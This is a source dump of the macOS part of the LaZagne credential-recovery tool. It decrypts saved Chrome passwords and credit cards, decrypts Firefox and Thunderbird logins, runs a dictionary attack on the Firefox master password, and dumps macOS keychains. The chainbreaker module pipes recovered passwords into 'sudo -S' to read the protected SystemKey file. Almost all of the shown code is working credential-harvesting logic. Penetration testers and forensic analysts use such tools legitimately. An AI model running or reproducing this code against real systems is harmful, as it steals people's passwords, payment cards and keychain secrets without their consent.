import tempfile import sqlite3 import shutil import base64 import struct import glob import hmac from lazagne.config.module_info import ModuleInfo # Big thanks to @mitsuhiko https://github.com/mitsuhiko/python-pbkdf2 for the below function pbkdf2_bin def pbkdf2_bin(hash_fxn, password, salt, iterations, key_len=16): _pack_int = struct.Struct('>I').pack hash_func = sha1 mac = hmac.new(password, None, hash_func) def pseudo_random(x, mac=mac): h = mac.copy() h.update(x) return map(ord, h.digest()) buf = [] for block in range(1, -(-key_len // mac.digest_size) + 1): rv = u = pseudo_random(salt + _pack_int(block)) for i in range(iterations - 1): u = pseudo_random(''.join(map(chr, u))) rv = itertools.starmap(operator.xor, itertools.izip(rv, u)) buf.extend(rv) return ''.join(map(chr, buf))[:key_len] try: from hashlib import pbkdf2_hmac except ImportError: # python version not available (Python <2.7.8, macOS < 10.11) use @mitsuhiko's pbkdf2 method pbkdf2_hmac = pbkdf2_bin from hashlib import sha1 class Chrome(ModuleInfo): def __init__(self, safe_storage_key=None): ModuleInfo.__init__(self, 'chrome', 'browsers') login_data_path = '/Users/*/Library/Application Support/Google/Chrome/*/Login Data' cc_data_path = '/Users/*/Library/Application Support/Google/Chrome/*/Web Data' self.chrome_data = glob.glob(login_data_path) + glob.glob(cc_data_path) self.safe_storage_key = safe_storage_key def get_cc(self, cc_num): cc_dict = { 3: 'AMEX', 4: 'Visa', 5: 'Mastercard', 6: 'Discover' } try: return cc_dict[cc_num[0]] except KeyError: return 'Unknown Card Issuer' def chrome_decrypt(self, encrypted, iv, key): # AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively) hex_key = binascii.hexlify(key) hex_enc_password = base64.b64encode(encrypted[3:]) # send any error messages to /dev/null to prevent screen bloating up try: decrypted = subprocess.check_output( "openssl enc -base64 -d -aes-128-cbc -iv '{iv}' -K {hex_key} <<< {hex_enc_password} 2>/dev/null".format( iv=iv, hex_key=hex_key, hex_enc_password=hex_enc_password), shell=True ) except Exception as e: decrypted = 'ERROR retrieving password' return decrypted def chrome_process(self, safe_storage_key, chrome_data): # salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm iv = ''.join(('20',) * 16) key = pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16] # work around for locking DB copy_path = tempfile.mkdtemp() with open(chrome_data, 'r') as content: db_copy = content.read() with open('{path}/chrome'.format(path=copy_path), 'w') as content: # if chrome is open, the DB will be locked, so get around by making a temp copy content.write(db_copy) database = sqlite3.connect('%s/chrome' % copy_path) if 'Web Data' in chrome_data: sql = 'select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards' else: sql = 'select username_value, password_value, origin_url, submit_element from logins' decrypted_list = [] with database: for values in database.execute(sql): # values will be (name_on_card, card_number_encrypted, expiration_month, expiration_year) # or (username_value, password_value, origin_url, submit_element) # user will be empty if they have selected "never" store password if values[0] == '' or (values[1][:3] != b'v10'): continue else: decrypted_list.append(( str(values[2]).encode('ascii', 'ignore'), values[0].encode('ascii', 'ignore'), str(self.chrome_decrypt(values[1], iv, key)).encode('ascii', 'ignore'), values[3]) ) shutil.rmtree(copy_path) return decrypted_list def run(self): pwd_found = [] if not self.safe_storage_key: self.error('Chrome safe storage key has not been retrieved, cannot decrypt passwords') return else: self.info('Chrome safe storage key has been retrieved: {safe_storage_key}'.format( safe_storage_key=self.safe_storage_key) ) for profile in self.chrome_data: for i, x in enumerate(self.chrome_process(str(self.safe_storage_key), "%s" % profile)): if 'Web Data' in profile: if i == 0: pwd_found.append( { 'Type': self.get_cc(x[2]), 'Card Name': x[1], 'Account': x[2], 'Expiration Date': '%s/%s' % (x[0], x[3]) } ) else: if i == 0: pwd_found.append( { 'Profile': profile.split('/')[-2], 'URL': x[0].strip(), 'Account': x[1].strip(), 'Password': x[2].strip(), } ) return pwd_found ================================================ FILE: Mac/lazagne/softwares/browsers/firefox_browsers.py ================================================ from lazagne.config.soft_import_module import soft_import mozilla_based_module_location = "lazagne.softwares.browsers.mozilla", "Mozilla" Mozilla = soft_import(*mozilla_based_module_location) # Name, path firefox_browsers = [ (u'firefox', u"~/Library/Application Support/Firefox/"), # Check these paths on Mac systems # (u'BlackHawk', u'{APPDATA}\\NETGATE Technologies\\BlackHawk'), # (u'Cyberfox', u'{APPDATA}\\8pecxstudios\\Cyberfox'), # (u'Comodo IceDragon', u'{APPDATA}\\Comodo\\IceDragon'), # (u'K-Meleon', u'{APPDATA}\\K-Meleon'), # (u'Icecat', u'{APPDATA}\\Mozilla\\icecat'), ] firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers] ================================================ FILE: Mac/lazagne/softwares/browsers/mozilla.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472) # from https://github.com/lclevy/firepwd/blob/master/firepwd.py import hmac import json import sqlite3 import struct import sys import traceback import os from lazagne.config.module_info import ModuleInfo from lazagne.config.crypto.pyDes import triple_des, CBC from lazagne.config.crypto.pyaes import AESModeOfOperationCBC from lazagne.config.dico import get_dic from lazagne.config.constant import constant from pyasn1.codec.der import decoder from binascii import unhexlify from base64 import b64decode from hashlib import sha1, pbkdf2_hmac try: from ConfigParser import RawConfigParser # Python 2.7 except ImportError: from configparser import RawConfigParser # Python 3 if sys.version_info[0]: python_version = sys.version_info[0] def l(n): try: return long(n) except NameError: return int(n) CKA_ID = unhexlify('f8000000000000000000000000000001') AES_BLOCK_SIZE = 16 def convert_to_byte(s): if python_version == 2: return s else: return s.encode() def o(c): if python_version == 2: return ord(c) else: return c def long_to_bytes(n, blocksize=0): """long_to_bytes(n:long, blocksize:int) : string Convert a long integer to a byte string. If optional blocksize is given and greater than zero, pad the front of the byte string with binary zeros so that the length is a multiple of blocksize. """ # after much testing, this algorithm was deemed to be the fastest s = convert_to_byte('') n = l(n) while n > 0: s = struct.pack('>I', n & 0xffffffff) + s n = n >> 32 # strip off leading zeros for i in range(len(s)): if s[i] != convert_to_byte('\000')[0]: break else: # only happens when n == 0 s = convert_to_byte('\000') i = 0 s = s[i:] # add back some pad bytes. this could be done more efficiently w.r.t. the # de-padding being done above, but sigh... if blocksize > 0 and len(s) % blocksize: s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s return s class Mozilla(ModuleInfo): def __init__(self, browser_name, path): self.path = os.path.expanduser(path) ModuleInfo.__init__(self, browser_name, category='browsers') def get_firefox_profiles(self, directory): """ List all profiles """ cp = RawConfigParser() profile_list = [] try: cp.read(os.path.join(directory, 'profiles.ini')) for section in cp.sections(): if section.startswith('Profile') and cp.has_option(section, 'Path'): profile_path = None if cp.has_option(section, 'IsRelative'): if cp.get(section, 'IsRelative') == '1': profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) elif cp.get(section, 'IsRelative') == '0': profile_path = cp.get(section, 'Path').strip() else: # No "IsRelative" in profiles.ini profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) if profile_path: profile_list.append(profile_path) except Exception as e: self.error(u'An error occurred while reading profiles.ini: {}'.format(e)) return profile_list def get_key(self, profile): """ Get main key used to encrypt all data (user / password). Depending on the Firefox version, could be stored in key3.db or key4.db file. """ try: row = None # Remove error when file is empty with open(os.path.join(profile, 'key4.db'), 'rb') as f: content = f.read() if content: conn = sqlite3.connect(os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite c = conn.cursor() # First check password c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") try: row = c.next() # Python 2 except Exception: row = next(c) # Python 3 except Exception: self.debug(traceback.format_exc()) else: if row: (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', key_data=row) if global_salt: try: # Decrypt 3DES key to decrypt "logins.json" content c.execute("SELECT a11,a102 FROM nssPrivate;") for row in c: if row[0]: break a11 = row[0] # CKA_VALUE a102 = row[1] # f8000000000000000000000000000001, CKA_ID if python_version == 2: a102 = str(a102) if a102 == CKA_ID: # a11 : CKA_VALUE # a102 : f8000000000000000000000000000001, CKA_ID # self.print_asn1(a11, len(a11), 0) # SEQUENCE { # SEQUENCE { # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 # SEQUENCE { # OCTETSTRING entry_salt_for_3des_key # INTEGER 01 # } # } # OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding) # } decoded_a11 = decoder.decode(a11) key = self.decrypt_3des(decoded_a11, master_password, global_salt) if key: self.debug(u'key: {key}'.format(key=repr(key))) yield key[:24] # else: # Nothing saved except Exception: self.debug(traceback.format_exc()) try: key3_file = os.path.join(profile, 'key3.db') if os.path.exists(key3_file): key_data = self.read_bsddb(key3_file) # Check masterpassword (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'', key_data=key_data, new_version=False) if global_salt: key = self.extract_secret_key(key_data=key_data, global_salt=global_salt, master_password=master_password, entry_salt=entry_salt) if key: self.debug(u'key: {key}'.format(key=repr(key))) yield key[:24] except Exception: self.debug(traceback.format_exc()) @staticmethod def get_short_le(d, a): return struct.unpack('L', d[a:a + 4])[0] def print_asn1(self, d, l, rl): """ Used for debug """ type_ = o(d[0]) length = o(d[1]) if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html, # nByteLength = length & 0x7f length = o(d[2]) # Long form. Two to 127 octets. Bit 8 of first octet has value "1" and # bits 7-1 give the number of additional length octets. skip = 1 else: skip = 0 if type_ == 0x30: seq_len = length read_len = 0 while seq_len > 0: len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1) seq_len = seq_len - len2 read_len = read_len + len2 return length + 2 elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER return length + 2 elif length == l - 2: self.print_asn1(d[2:], length, rl + 1) return length def read_bsddb(self, name): """ Extract records from a BSD DB 1.85, hash mode Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used """ with open(name, 'rb') as f: # http://download.oracle.com/berkeley-db/db.1.85.tar.gz header = f.read(4 * 15) magic = self.get_long_be(header, 0) if magic != 0x61561: self.warning(u'Bad magic number') return False version = self.get_long_be(header, 4) if version != 2: self.warning(u'Bad version !=2 (1.85)') return False pagesize = self.get_long_be(header, 12) nkeys = self.get_long_be(header, 0x38) readkeys = 0 page = 1 db1 = [] while readkeys < nkeys: f.seek(pagesize * page) offsets = f.read((nkeys + 1) * 4 + 2) offset_vals = [] i = 0 nval = 0 val = 1 keys = 0 while nval != val: keys += 1 key = self.get_short_le(offsets, 2 + i) val = self.get_short_le(offsets, 4 + i) nval = self.get_short_le(offsets, 8 + i) offset_vals.append(key + pagesize * page) offset_vals.append(val + pagesize * page) readkeys += 1 i += 4 offset_vals.append(pagesize * (page + 1)) val_key = sorted(offset_vals) for i in range(keys * 2): f.seek(val_key[i]) data = f.read(val_key[i + 1] - val_key[i]) db1.append(data) page += 1 db = {} for i in range(0, len(db1), 2): db[db1[i + 1]] = db1[i] return db @staticmethod def decrypt_3des(decoded_item, master_password, global_salt): """ User master key is also encrypted (if provided, the master_password could be used to encrypt it) """ # See http://www.drh-consultancy.demon.co.uk/key3.html pbeAlgo = str(decoded_item[0][0][0]) if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC entry_salt = decoded_item[0][0][1][0].asOctets() cipher_t = decoded_item[0][1].asOctets() # See http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(global_salt + master_password).digest() pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt)) chp = sha1(hp + entry_salt).digest() k1 = hmac.new(chp, pes + entry_salt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, tk + entry_salt, sha1).digest() k = k1 + k2 iv = k[-8:] key = k[:24] return triple_des(key, CBC, iv).decrypt(cipher_t) # New version elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2 assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12' assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9' assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42' # https://tools.ietf.org/html/rfc8018#page-23 entry_salt = decoded_item[0][0][1][0][1][0].asOctets() iteration_count = int(decoded_item[0][0][1][0][1][1]) key_length = int(decoded_item[0][0][1][0][1][2]) assert key_length == 32 k = sha1(global_salt + master_password).digest() key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length) # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets() # 04 is OCTETSTRING, 0x0e is length == 14 encrypted_value = decoded_item[0][1].asOctets() aes = AESModeOfOperationCBC(key, iv=iv) cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)]) return cleartxt def extract_secret_key(self, key_data, global_salt, master_password, entry_salt): if unhexlify('f8000000000000000000000000000001') not in key_data: return None priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')] salt_len = o(priv_key_entry[1]) name_len = o(priv_key_entry[2]) priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:]) # data = priv_key_entry[3 + salt_len + name_len:] # self.print_asn1(data, len(data), 0) # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt) # self.print_asn1(priv_key, len(priv_key), 0) priv_key_asn1 = decoder.decode(priv_key) pr_key = priv_key_asn1[0][2].asOctets() # self.print_asn1(pr_key, len(pr_key), 0) pr_key_asn1 = decoder.decode(pr_key) # id = pr_key_asn1[0][1] key = long_to_bytes(pr_key_asn1[0][3]) return key @staticmethod def decode_login_data(data): asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode # For login and password, keep :(key_id, iv, ciphertext) return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets() def get_login_data(self, profile): """ Get encrypted data (user / password) and host from the json or sqlite files """ conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite')) logins = [] c = conn.cursor() try: c.execute('SELECT * FROM moz_logins;') except sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3 try: logins_json = os.path.join(profile, 'logins.json') if os.path.isfile(logins_json): with open(logins_json) as f: loginf = f.read() if loginf: json_logins = json.loads(loginf) if 'logins' not in json_logins: self.debug('No logins key in logins.json') return logins for row in json_logins['logins']: enc_username = row['encryptedUsername'] enc_password = row['encryptedPassword'] logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row['hostname'])) return logins except Exception: self.debug(traceback.format_exc()) return [] # Using sqlite3 database for row in c: enc_username = row[6] enc_password = row[7] logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1])) return logins def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True): """ Check if a master password is set. If so, try to find it using a dictionary attack """ (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password, key_data=key_data, new_version=new_version) if not global_salt: self.info(u'Master Password is used !') (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data, new_version=new_version) if not master_password: return '', '', '' return global_salt, master_password, entry_salt def is_master_password_correct(self, key_data, master_password=b'', new_version=True): try: entry_salt = b"" if not new_version: # See http://www.drh-consultancy.demon.co.uk/key3.html pwd_check = key_data.get(b'password-check') if not pwd_check: return '', '', '' # Hope not breaking something (not tested for old version) # entry_salt_len = o(pwd_check[1]) # entry_salt = pwd_check[3: 3 + entry_salt_len] # encrypted_passwd = pwd_check[-16:] global_salt = key_data[b'global-salt'] else: global_salt = key_data[0] # Item1 item2 = key_data[1] # self.print_asn1(item2, len(item2), 0) # SEQUENCE { # SEQUENCE { # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 # SEQUENCE { # OCTETSTRING entry_salt_for_passwd_check # INTEGER 01 # } # } # OCTETSTRING encrypted_password_check # } decoded_item2 = decoder.decode(item2) cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) if cleartext_data != convert_to_byte('password-check\x02\x02'): return '', '', '' return global_salt, master_password, entry_salt except Exception: self.debug(traceback.format_exc()) return '', '', '' def brute_master_password(self, key_data, new_version=True): """ Try to find master_password doing a dictionary attack using the 500 most used passwords """ wordlist = constant.passwordFound + get_dic() num_lines = (len(wordlist) - 1) self.info(u'%d most used passwords !!! ' % num_lines) for word in wordlist: global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data, master_password=word.strip(), new_version=new_version) if master_password: self.info(u'Master password found: {}'.format(master_password)) return global_salt, master_password, entry_salt self.warning(u'No password has been found using the default list') return '', '', '' @staticmethod def remove_padding(self, data): """ Remove PKCS#7 padding """ try: nb = struct.unpack('B', data[-1])[0] # Python 2 except Exception: nb = data[-1] # Python 3 try: return data[:-nb] except Exception: self.debug(traceback.format_exc()) return data def decrypt(self, key, iv, ciphertext): """ Decrypt ciphered data (user / password) using the key previously found """ data = triple_des(key, CBC, iv).decrypt(ciphertext) return self.remove_padding(data) def run(self): """ Main function """ if os.path.exists(self.path): pwd_found = [] for profile in self.get_firefox_profiles(self.path): self.info(u'Profile path found: {profile}'.format(profile=profile)) credentials = self.get_login_data(profile) if credentials: for key in self.get_key(profile): for user, password, url in credentials: try: pwd_found.append({ 'URL': url, 'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode("utf-8"), 'Password': self.decrypt(key=key, iv=password[1], ciphertext=password[2]).decode("utf-8"), }) except Exception as e: self.debug(u'An error occurred decrypting the password: {error}'.format(error=e)) else: self.info(u'Database empty') return pwd_found ================================================ FILE: Mac/lazagne/softwares/mails/__init__.py ================================================ ================================================ FILE: Mac/lazagne/softwares/mails/thunderbird.py ================================================ from lazagne.config.module_info import ModuleInfo from lazagne.softwares.browsers.mozilla import Mozilla import os class Thunderbird(Mozilla): def __init__(self): self.path = u"~/Library/Thunderbird" ModuleInfo.__init__(self, 'Thunderbird', 'mails') ================================================ FILE: Mac/lazagne/softwares/system/__init__.py ================================================ ================================================ FILE: Mac/lazagne/softwares/system/chainbreaker.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python # Awesome work done by @n0fate # check the chainbreaker tool: https://github.com/n0fate/chainbreaker import subprocess import binascii import traceback from lazagne.softwares.system.chainbreaker_module.chainbreaker import * from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant import os class ChainBreaker(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'chainbreaker', 'system') def list_users(self): users_dir = '/Users' users_list = [] if os.path.exists(users_dir): for user in os.listdir(users_dir): if user != 'Shared' and not user.startswith('.'): users_list.append(user) return users_list def list_keychains(self, keychains_path): keychains = [] if os.path.exists(keychains_path): for f in os.listdir(keychains_path): if 'keychain' in f: keychains.append(os.path.join(keychains_path, f)) return keychains def run(self): pwd_found = [] # all passwords found on other applications passwords = constant.passwordFound # password entered by the user using the --password parameter if constant.user_password: passwords.insert(0, constant.user_password) # System keychain keychains = self.list_keychains('/Library/Keychains/') # Users keychains for user in self.list_users(): keychains += self.list_keychains('/Users/{user}/Library/Keychains/'.format(user=user)) # system key needs admin privilege to open the file system_key = '' try: # try to open it (suppose the file has bad privilege or that the tool is launched with sudo rights) key = open('/private/var/db/SystemKey').read() system_key = binascii.hexlify(str(key[8:32])).upper() except Exception as e: self.debug('SystemKey file could not be openned: {error}'.format(error=str(e))) try: # try to open the file using a password found (supposing a password is also used as a system password) for pwd in passwords: c = 'sudo hexdump -e \'16/1 "%02x" ""\' -s 8 -n 24 /private/var/db/SystemKey |' \ 'xargs python -c \'import sys;print sys.argv[1].upper()\'' cmd = 'echo {password}|sudo -S {cmd}'.format(password=pwd, cmd=c) p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = p.communicate() if stdout: system_key = stdout.strip() self.info('SystemKey found ({system_key}) with sudo password {pwd}'.format( system_key=system_key, pwd=pwd)) break except Exception: pass for keychain in keychains: pwd_ok = False for password in passwords: self.debug('Trying to dump keychain {keychain} with password {password}'.format( keychain=keychain, password=password) ) try: creds = dump_creds(keychain, password=str(password)) if creds: pwd_found += creds pwd_ok = True constant.keychains_pwd.append( { 'Keychain': keychain, 'Password': str(password) } ) except Exception: self.error('Check the password entered, this one not work (pwd: %s)' % str(password)) self.error(traceback.format_exc()) if pwd_ok: break if system_key and not pwd_ok: try: creds = dump_creds(keychain, key=str(system_key)) if creds: pwd_found += creds pwd_ok = True constant.keychains_pwd.append( { 'Keychain': keychain, 'System Key': str(system_key) } ) except Exception: self.error('Check the system key found, this one not work (key: %s)' % str(system_key)) self.debug(traceback.format_exc()) # keep in memory all passwords stored on the keychain constant.keychains_pwds = pwd_found return pwd_found ================================================ FILE: Mac/lazagne/softwares/system/chainbreaker_module/Schema.py ================================================ # http://web.mit.edu/darwin/src/modules/Security/cdsa/cdsa/cssmtype.h KEY_TYPE = { 0x00 + 0x0F: 'CSSM_KEYCLASS_PUBLIC_KEY', 0x01 + 0x0F: 'CSSM_KEYCLASS_PRIVATE_KEY', 0x02 + 0x0F: 'CSSM_KEYCLASS_SESSION_KEY', 0x03 + 0x0F: 'CSSM_KEYCLASS_SECRET_PART', 0xFFFFFFFF: 'CSSM_KEYCLASS_OTHER' } CSSM_ALGORITHMS = { 0: 'CSSM_ALGID_NONE', 1: 'CSSM_ALGID_CUSTOM', 2: 'CSSM_ALGID_DH', 3: 'CSSM_ALGID_PH', 4: 'CSSM_ALGID_KEA', 5: 'CSSM_ALGID_MD2', 6: 'CSSM_ALGID_MD4', 7: 'CSSM_ALGID_MD5', 8: 'CSSM_ALGID_SHA1', 9: 'CSSM_ALGID_NHASH', 10: 'CSSM_ALGID_HAVAL:', 11: 'CSSM_ALGID_RIPEMD', 12: 'CSSM_ALGID_IBCHASH', 13: 'CSSM_ALGID_RIPEMAC', 14: 'CSSM_ALGID_DES', 15: 'CSSM_ALGID_DESX', 16: 'CSSM_ALGID_RDES', 17: 'CSSM_ALGID_3DES_3KEY_EDE', 18: 'CSSM_ALGID_3DES_2KEY_EDE', 19: 'CSSM_ALGID_3DES_1KEY_EEE', 20: 'CSSM_ALGID_3DES_3KEY_EEE', 21: 'CSSM_ALGID_3DES_2KEY_EEE', 22: 'CSSM_ALGID_IDEA', 23: 'CSSM_ALGID_RC2', 24: 'CSSM_ALGID_RC5', 25: 'CSSM_ALGID_RC4', 26: 'CSSM_ALGID_SEAL', 27: 'CSSM_ALGID_CAST', 28: 'CSSM_ALGID_BLOWFISH', 29: 'CSSM_ALGID_SKIPJACK', 30: 'CSSM_ALGID_LUCIFER', 31: 'CSSM_ALGID_MADRYGA', 32: 'CSSM_ALGID_FEAL', 33: 'CSSM_ALGID_REDOC', 34: 'CSSM_ALGID_REDOC3', 35: 'CSSM_ALGID_LOKI', 36: 'CSSM_ALGID_KHUFU', 37: 'CSSM_ALGID_KHAFRE', 38: 'CSSM_ALGID_MMB', 39: 'CSSM_ALGID_GOST', 40: 'CSSM_ALGID_SAFER', 41: 'CSSM_ALGID_CRAB', 42: 'CSSM_ALGID_RSA', 43: 'CSSM_ALGID_DSA', 44: 'CSSM_ALGID_MD5WithRSA', 45: 'CSSM_ALGID_MD2WithRSA', 46: 'CSSM_ALGID_ElGamal', 47: 'CSSM_ALGID_MD2Random', 48: 'CSSM_ALGID_MD5Random', 49: 'CSSM_ALGID_SHARandom', 50: 'CSSM_ALGID_DESRandom', 51: 'CSSM_ALGID_SHA1WithRSA', 52: 'CSSM_ALGID_CDMF', 53: 'CSSM_ALGID_CAST3', 54: 'CSSM_ALGID_CAST5', 55: 'CSSM_ALGID_GenericSecret', 56: 'CSSM_ALGID_ConcatBaseAndKey', 57: 'CSSM_ALGID_ConcatKeyAndBase', 58: 'CSSM_ALGID_ConcatBaseAndData', 59: 'CSSM_ALGID_ConcatDataAndBase', 60: 'CSSM_ALGID_XORBaseAndData', 61: 'CSSM_ALGID_ExtractFromKey', 62: 'CSSM_ALGID_SSL3PreMasterGen', 63: 'CSSM_ALGID_SSL3MasterDerive', 64: 'CSSM_ALGID_SSL3KeyAndMacDerive', 65: 'CSSM_ALGID_SSL3MD5_MAC', 66: 'CSSM_ALGID_SSL3SHA1_MAC', 67: 'CSSM_ALGID_PKCS5_PBKDF1_MD5', 68: 'CSSM_ALGID_PKCS5_PBKDF1_MD2', 69: 'CSSM_ALGID_PKCS5_PBKDF1_SHA1', 70: 'CSSM_ALGID_WrapLynks', 71: 'CSSM_ALGID_WrapSET_OAEP', 72: 'CSSM_ALGID_BATON', 73: 'CSSM_ALGID_ECDSA', 74: 'CSSM_ALGID_MAYFLY', 75: 'CSSM_ALGID_JUNIPER', 76: 'CSSM_ALGID_FASTHASH', 77: 'CSSM_ALGID_3DES', 78: 'CSSM_ALGID_SSL3MD5', 79: 'CSSM_ALGID_SSL3SHA1', 80: 'CSSM_ALGID_FortezzaTimestamp', 81: 'CSSM_ALGID_SHA1WithDSA', 82: 'CSSM_ALGID_SHA1WithECDSA', 83: 'CSSM_ALGID_DSA_BSAFE', 84: 'CSSM_ALGID_ECDH', 85: 'CSSM_ALGID_ECMQV', 86: 'CSSM_ALGID_PKCS12_SHA1_PBE', 87: 'CSSM_ALGID_ECNRA', 88: 'CSSM_ALGID_SHA1WithECNRA', 89: 'CSSM_ALGID_ECES', 90: 'CSSM_ALGID_ECAES', 91: 'CSSM_ALGID_SHA1HMAC', 92: 'CSSM_ALGID_FIPS186Random', 93: 'CSSM_ALGID_ECC', 94: 'CSSM_ALGID_MQV', 95: 'CSSM_ALGID_NRA', 96: 'CSSM_ALGID_IntelPlatformRandom', 97: 'CSSM_ALGID_UTC', 98: 'CSSM_ALGID_HAVAL3', 99: 'CSSM_ALGID_HAVAL4', 100: 'CSSM_ALGID_HAVAL5', 101: 'CSSM_ALGID_TIGER', 102: 'CSSM_ALGID_MD5HMAC', 103: 'CSSM_ALGID_PKCS5_PBKDF2', 104: 'CSSM_ALGID_RUNNING_COUNTER', 0x7FFFFFFF: 'CSSM_ALGID_LAST' } # CSSM TYPE ## http://www.opensource.apple.com/source/libsecurity_cssm/libsecurity_cssm-36064/lib/cssmtype.h ########## CSSM_DB_RECORDTYPE ############# # /* Industry At Large Application Name Space Range Definition */ # /* AppleFileDL record types. */ CSSM_DB_RECORDTYPE_APP_DEFINED_START = 0x80000000 CSSM_DL_DB_RECORD_GENERIC_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0 CSSM_DL_DB_RECORD_INTERNET_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 1 CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 2 CSSM_DL_DB_RECORD_USER_TRUST = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 3 CSSM_DL_DB_RECORD_X509_CRL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 4 CSSM_DL_DB_RECORD_UNLOCK_REFERRAL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 5 CSSM_DL_DB_RECORD_EXTENDED_ATTRIBUTE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 6 CSSM_DL_DB_RECORD_X509_CERTIFICATE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x1000 CSSM_DL_DB_RECORD_METADATA = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x8000 ## DBBlob CSSM_DB_RECORDTYPE_APP_DEFINED_END = 0xffffffff # /* Record Types defined in the Schema Management Name Space */ CSSM_DB_RECORDTYPE_SCHEMA_START = 0x00000000 CSSM_DL_DB_SCHEMA_INFO = CSSM_DB_RECORDTYPE_SCHEMA_START + 0 CSSM_DL_DB_SCHEMA_INDEXES = CSSM_DB_RECORDTYPE_SCHEMA_START + 1 CSSM_DL_DB_SCHEMA_ATTRIBUTES = CSSM_DB_RECORDTYPE_SCHEMA_START + 2 CSSM_DL_DB_SCHEMA_PARSING_MODULE = CSSM_DB_RECORDTYPE_SCHEMA_START + 3 CSSM_DB_RECORDTYPE_SCHEMA_END = CSSM_DB_RECORDTYPE_SCHEMA_START + 4 # /* Record Types defined in the Open Group Application Name Space */ # /* Open Group Application Name Space Range Definition*/ CSSM_DB_RECORDTYPE_OPEN_GROUP_START = 0x0000000A CSSM_DL_DB_RECORD_ANY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 0 CSSM_DL_DB_RECORD_CERT = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 1 CSSM_DL_DB_RECORD_CRL = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 2 CSSM_DL_DB_RECORD_POLICY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 3 CSSM_DL_DB_RECORD_GENERIC = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 4 CSSM_DL_DB_RECORD_PUBLIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 5 CSSM_DL_DB_RECORD_PRIVATE_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 6 CSSM_DL_DB_RECORD_SYMMETRIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 7 CSSM_DL_DB_RECORD_ALL_KEYS = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 CSSM_DB_RECORDTYPE_OPEN_GROUP_END = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 ##################### ######## KEYUSE ######### CSSM_KEYUSE_ANY = 0x80000000 CSSM_KEYUSE_ENCRYPT = 0x00000001 